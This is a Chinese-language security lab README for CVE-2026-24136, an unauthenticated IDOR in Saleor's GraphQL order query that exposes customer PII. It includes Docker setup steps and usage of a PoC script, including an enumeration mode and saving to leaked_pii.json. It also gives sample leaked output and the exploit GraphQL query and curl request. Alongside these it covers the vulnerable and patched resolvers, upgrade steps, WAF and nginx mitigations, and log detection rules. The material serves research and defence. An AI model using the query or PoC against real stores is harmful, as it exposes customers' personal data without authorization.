| 字段 | 详情 |
|---|---|
| CVE ID | CVE-2026-24136 |
| 漏洞类型 | IDOR - 通过用户控制密钥绕过授权 (CWE-639) |
| 软件 | Saleor 电子商务平台 |
| 受影响版本 | 3.2.0 - 3.20.109 · 3.21.0 - 3.21.44 · 3.22.0 - 3.22.28 |
| 已修补版本 | 3.20.110 · 3.21.45 · 3.22.29 |
| CVSS 3.1 | 7.5 高 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N) |
| CVSS 4.0 | 8.7 高 |
| 影响 | 未认证参与者可读取任意订单的PII(姓名、地址、电话、电子邮件) |
| 需要认证? | 否 |
Saleor提供一个GraphQL API来管理电子商务订单。order(id: $id) 查询允许根据全局ID获取订单详情。在受影响版本中,此查询不检查调用者是否有权查看该订单。任何用户,包括完全匿名的无账户用户,都可以调用此查询并获取客户的完整PII:电子邮件、姓名、送货地址、电话号码、登录历史。
cve-2026-24136-lab/
├── docker-compose.yml # 实验室环境 (Saleor 3.20 + PostgreSQL + Redis)
├── setup_lab.ps1 # 自动启动脚本 (Windows PowerShell)
├── setup_lab.sh # 自动启动脚本 (Linux / WSL / macOS)
├── README.md
└── scripts/
├── start_api.sh # 启动封装:修补wsgi错误 + gunicorn
├── seed_data.py # 创建包含PII的受害者账户和订单
└── poc_cve_2026_24136.py # 利用PoC
pip install requests# 如需请授予执行权限
Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope Process
# 运行自动设置
.\setup_lab.ps1
chmod +x setup_lab.sh
./setup_lab.sh
# 1. 启动容器
docker compose up -d
# 2. 等待API就绪(约60-90秒)
# 检查:curl http://localhost:8000/health/
# 3. 创建管理员账户
docker exec cve_saleor_api python manage.py shell -c \
"from django.contrib.auth import get_user_model; U=get_user_model(); \
U.objects.filter(email='[email protected]').exists() or \
U.objects.create_superuser('[email protected]', 'admin')"
# 4. 填充商品/频道
docker exec cve_saleor_api python manage.py populatedb
# 5. 创建受害者数据(包含PII的账户和订单)
cd scripts
pip install requests
python seed_data.py
启动后的端点:
| 服务 | URL |
|---|---|
cd scripts
# 查看技术解释
python poc_cve_2026_24136.py explain
# 从已seed的列表中利用(建议 - Saleor 3.x使用UUID ID)
python poc_cve_2026_24136.py file order_ids.json
# 利用单个订单(直接使用base64全局ID)
python poc_cve_2026_24136.py single T3JkZXI6NDYwZDFlMjct...
# 顺序枚举(仅适用于Saleor < 3.x使用整数ID的情况)
python poc_cve_2026_24136.py enumerate --start 1 --end 100
# 更改目标API
python poc_cve_2026_24136.py --url http://192.168.1.100:8000/graphql/ file order_ids.json
# 保存结果为JSON
python poc_cve_2026_24136.py file order_ids.json --output leaked_pii.json
[*] Loaded 6 Order IDs from order_ids.json
[*] Querying without authentication...
[*] Trying: T3JkZXI6NDYwZDFlMj... (Order:460d1e27-2b0b-4897-84c9-64b524b08d64)
╔══════════════════════════════════════════════════════════════╗
║ [LEAKED] ORDER #41 -- DRAFT ║
╠──────────────────────────────────────────────────────────────╣
║ Email : [email protected] ║
╠──────────────────────────────────────────────────────────────╣
║ Billing Address : Nguyen Van A ║
║ Street : 123 Le Loi Street ║
║ City/Post : HO CHI MINH CITY 700000 ║
║ Country : Vietnam ║
║ Phone : +84901234567 ║
╚══════════════════════════════════════════════════════════════╝
[*] Successfully leaked 6/6 orders
Saleor遵循Relay GraphQL规范的“全局对象标识”。每个对象通过一个具有以下形式的全局ID标识:
base64("<TypeName>:<internal_id>")
对于Saleor 3.x中的订单:
# internal_id 是 UUID v4
internal_id = "460d1e27-2b0b-4897-84c9-64b524b08d64"
global_id = base64("Order:" + internal_id)
= "T3JkZXI6NDYwZDFlMjctMmIwYi00ODk3LTg0YzktNjRiNTI0YjA4ZDY0"
注意:Saleor 2.x使用整数顺序ID(
Order:1,Order:2, ...),因此更容易枚举。
Saleor 3.x改用UUID,因此攻击者需要通过其他方式获取UUID(订单确认邮件、URL泄露等)。
文件: saleor/graphql/order/resolvers.py
# 漏洞版本(修补前)
def resolve_order(root, info, id):
"""Resolve order by ID – 没有任何授权检查。"""
_, pk = from_global_id_or_error(id, Order)
return qs.filter(pk=pk).first()
# 任何人都能获取数据,不检查用户,不检查会话
文件: saleor/graphql/order/schema.py
# 查询定义,未声明权限
class OrderQueries:
order = graphene.Field(
Order,
description="Look up an order by ID.",
id=graphene.Argument(graphene.ID, description="ID of the order."),
)
def resolve_order(self, info, id):
return resolvers.resolve_order(info, id)
# 没有 @permission_required,没有任何守卫
发送的查询不包含Authorization头部:
query ExploitOrder($id: ID!) {
order(id: $id) {
number
status
userEmail
billingAddress {
firstName
lastName
streetAddress1
city
postalCode
phone
}
shippingAddress {
firstName
lastName
phone
}
user {
email
firstName
lastName
lastLogin
isActive
}
}
}
# 使用curl发送,无需令牌
curl -s http://localhost:8000/graphql/ \
-H "Content-Type: application/json" \
-d '{
"query": "query { order(id: \"T3JkZXI6NDYwZDFlMj...\") { number userEmail billingAddress { phone } } }"
}'
# 响应(无需认证):
# {"data":{"order":{"number":"41","userEmail":"[email protected]","billingAddress":{"phone":"+84901234567"}}}}
Attacker (anonymous) Saleor GraphQL API
| |
|── POST /graphql/ ─────────────────────>|
| Content-Type: application/json |
| (NO Authorization header) |
| {"query":"query { |
| order(id: \"T3JkZXI6...\") { |
| userEmail |
| billingAddress { phone } |
| } |
| }"} |
| |
|<── HTTP 200 OK ─────────────────────── |
| {"data": {"order": { |
| "userEmail": "[email protected]", |
| "billingAddress": { |
| "phone": "+84901234567" |
| } |
| }}} |
| |
文件: saleor/graphql/order/resolvers.py
# 已修补版本(>= 3.20.110)
def resolve_order(root, info, id):
"""Resolve order by ID 并带有完整的授权检查。"""
_, pk = from_global_id_or_error(id, Order)
order = qs.filter(pk=pk).first()
# 守卫1:员工和App可以查看所有订单
if requestor_is_staff_member_or_app(info.context.user, info.context.app):
return order
# 守卫2:未认证用户 → 返回None(不报错以避免泄露存在性)
if not info.context.user or not info.context.user.is_authenticated:
return None
# 守卫3:已认证用户只能查看自己的订单
if order and order.user_id != info.context.user.pk:
raise PermissionDenied(
"You don't have permission to access this order."
)
return order
文件: saleor/graphql/order/schema.py
# 添加注释以记录权限要求
class OrderQueries:
order = graphene.Field(
Order,
description=(
"Look up an order by ID. "
"Requires authentication. Staff users can access all orders. "
"Regular users can only access their own orders."
),
id=graphene.Argument(graphene.ID, required=True),
)
Request: POST /graphql/
Body: { "query": "{ order(id: \"T3Jk...\") { userEmail } }" }
(无Authorization头部)
─────────────────────────────────────────────
修补前(≤ 3.20.109):
HTTP 200 OK
{"data": {"order": {"userEmail": "[email protected]"}}}
→ PII泄露
─────────────────────────────────────────────
修补后(≥ 3.20.110):
HTTP 200 OK
{"data": {"order": null}}
→ 返回null,无错误(故意设计 – 防止攻击者
知道订单是否存在)
─────────────────────────────────────────────
null而不是错误?对未认证请求返回null而非PermissionDenied是故意设计:
PermissionDenied → 攻击者知道订单存在(存在性预言)null → 攻击者无法区分“无权限”和“不存在”这是GraphQL层应用的定时安全存在性检查技术。
raise PermissionDenied?因为用户登录后,明确报错有助于调试。存在性预言不再是问题,因为:
整数ID(Saleor 2.x):
Order:1, Order:2, ..., Order:N
→ 需O(N)次请求枚举N个订单
→ 攻击者可以通过二分查找知道订单总数
UUID ID(Saleor 3.x):
Order:460d1e27-2b0b-4897-84c9-64b524b08d64
→ 搜索空间:2^122(UUID v4有122位随机位)
→ 暴力破解实际上不可行
→ 但ID仍会通过以下方式泄露:订单确认邮件、仪表板URL、
API响应、日志 → 如果攻击者获得一个ID,仍可被利用
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
AV:N – 攻击向量:网络(通过互联网利用)
AC:L – 攻击复杂度:低(无需特殊条件)
PR:N – 所需权限:无(无需账户)
UI:N – 用户交互:无(无需受害者交互)
S:U – 范围:不变(仅影响Saleor API)
C:H – 机密性:高(全部PII泄露)
I:N – 完整性:无(无法修改数据)
A:N – 可用性:无(无拒绝服务)
# 检查当前版本
pip show saleor | grep Version
# 升级到已修补版本
pip install "saleor>=3.20.110" # 如果使用3.20.x系列
pip install "saleor>=3.21.45" # 如果使用3.21.x系列
pip install "saleor>=3.22.29" # 如果使用3.22.x系列
阻止匿名用户调用order()查询:
# Nginx – 阻止来自未认证请求的GraphQL order查询
location /graphql/ {
# 如果没有Authorization头部且body包含"order("
if ($http_authorization = "") {
# 拦截有利用迹象的查询
# 注意:这只是临时方案,不能替代补丁
}
proxy_pass http://saleor_api;
}
对于AWS WAF / CloudFront:
{
"Name": "BlockAnonymousOrderQuery",
"Priority": 1,
"Action": {"Block": {}},
"Statement": {
"AndStatement": {
"Statements": [
{
"ByteMatchStatement": {
"SearchString": "\"order\"",
"FieldToMatch": {"Body": {}},
"TextTransformations": [{"Priority": 0, "Type": "NONE"}],
"PositionalConstraint": "CONTAINS"
}
},
{
"ByteMatchStatement": {
"SearchString": "Authorization",
"FieldToMatch": {"SingleHeader": {"Name": "authorization"}},
"TextTransformations": [{"Priority": 0, "Type": "NONE"}],
"PositionalConstraint": "EXACTLY",
"NegatedStatement": true
}
}
]
}
}
}
# 限制来自一个IP的未认证请求
limit_req_zone $binary_remote_addr zone=graphql_anon:10m rate=10r/m;
location /graphql/ {
limit_req zone=graphql_anon burst=5 nodelay;
proxy_pass http://saleor_api;
}
访问日志中的利用迹象:
# 检测:一个IP发送多个无Authorization的GraphQL请求
grep 'POST /graphql/' access.log \
| awk '$9 == 200 && !/Authorization/' \
| awk '{print $1}' \
| sort | uniq -c | sort -rn \
| awk '$1 > 20' # 如果同一IP超过20次请求则告警
# 检测请求体中包含"order"模式且无认证
#(需要JSON body日志)
Grafana / Datadog的告警规则:
alert: SaleorAnonOrderQuery
expr: |
rate(nginx_http_requests_total{
path="/graphql/",
method="POST",
has_auth_header="false"
}[5m]) > 5
severity: warning
annotations:
summary: "Potential CVE-2026-24136 exploitation attempt"
description: "High rate of unauthenticated GraphQL POST requests"
# 停止并删除容器+卷(删除所有数据)
docker compose down -v
# 仅停止容器(保留数据)
docker compose stop
警告: 本实验室仅用于研究、学习和撰写安全报告目的。
未经书面许可,不得在实际系统上使用PoC。
| Saleor GraphQL API |
| http://localhost:8000/graphql/ |
| GraphQL Playground | http://localhost:8000/graphql/ |
| Saleor Dashboard | http://localhost:9000 |
| 管理员 | [email protected] / admin |